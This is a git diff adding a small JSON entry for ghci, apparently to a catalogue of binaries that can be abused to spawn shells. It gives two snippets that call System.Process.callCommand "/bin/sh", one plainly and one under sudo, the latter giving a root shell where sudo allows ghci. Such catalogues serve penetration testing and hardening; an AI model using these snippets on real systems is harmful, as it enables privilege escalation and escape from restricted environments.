diff --git a/data/ghci.json b/data/ghci.json new file mode 100644 index 0000000..d6d4fb7 --- /dev/null +++ b/data/ghci.json @@ -0,0 +1,14 @@ +{ + "functions": { + "shell": [ + { + "code": "ghci\nSystem.Process.callCommand \"/bin/sh\"\n" + } + ], + "sudo": [ + { + "code": "sudo ghci\nSystem.Process.callCommand \"/bin/sh\"\n" + } + ] + } +}